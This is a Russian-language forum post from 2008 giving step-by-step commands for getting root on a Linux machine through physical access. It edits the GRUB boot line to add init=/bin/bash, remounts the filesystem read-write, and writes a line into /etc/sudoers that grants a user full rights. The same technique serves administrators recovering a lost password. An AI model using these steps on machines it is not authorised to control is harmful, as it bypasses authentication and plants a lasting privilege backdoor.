Показать сообщение отдельно

Повышение привелегий + доступ к системе без учетной записи. Linux
  #1  
Старый 18.06.2008, 11:22
neval
Moderator - Level 7
Регистрация: 13.12.2006
Сообщений: 531
Провел на форуме:
2127116

Репутация: 383


По умолчанию Повышение привелегий + доступ к системе без учетной записи. Linux

Рассматривается вариант, когда имеется непосредственный доступ к машине с установленной ОС Linux, при отсутствии CD-rom, USB и т.д., что полностью исключает возможность загрузки с Live-CD.

Также необходимо отсутствие установленного пароля на загрузчике (в большинстве случаев так оно и есть)

В качестве загрузчика установлен GRUB, для LILO практически аналогично....

Вариант первый
Просмотр информации не имея под рукой учетной записи.


1) Перезагружаемся
2) В появившемся приглашении GRUB выбираем нашу ОС, например
Код:
Gentoo Linux kernel-2.6.25-r3-all
и жмем e (правка), после этого видим примерно такое
Код:
root (hd0,0)
kernel /boot/kernel-2.6.25-r3-all root=/dev/sda3
3) Далее выбираем 2 строку, и снова e
4) В конце строки дописываем
Код:
kernel /boot/kernel-2.6.25-r3-all root=/dev/sda3 init=/bin/bash
5)Жмем Enter, затем запускаем загрузку, нажав b

Все. Теперь мы под рутом в системе. Правда на данный момент смонтирована только ФС root в режиме read-only (чтение).


Вариант второй
У нас есть учетка на этой машине, и мы хотим повысить ее привелегии...

1) Проделываем Вариант 1
2) Перемонтируем ФС
Код:
mount / -o remount, rw
3) Добавляем в /etc/sudoers строку
Код:
Ваш_логин  ALL=(ALL)   ALL
4) Снова перемонтируем ФС
Код:
mount / -o remount,ro
Все. Перезагружаемся.
Код:
/sbin/reboot -nfi
Заходим под нашим пользователем. В терминале sudo bash ....

Последний раз редактировалось neval; 18.06.2008 в 17:53..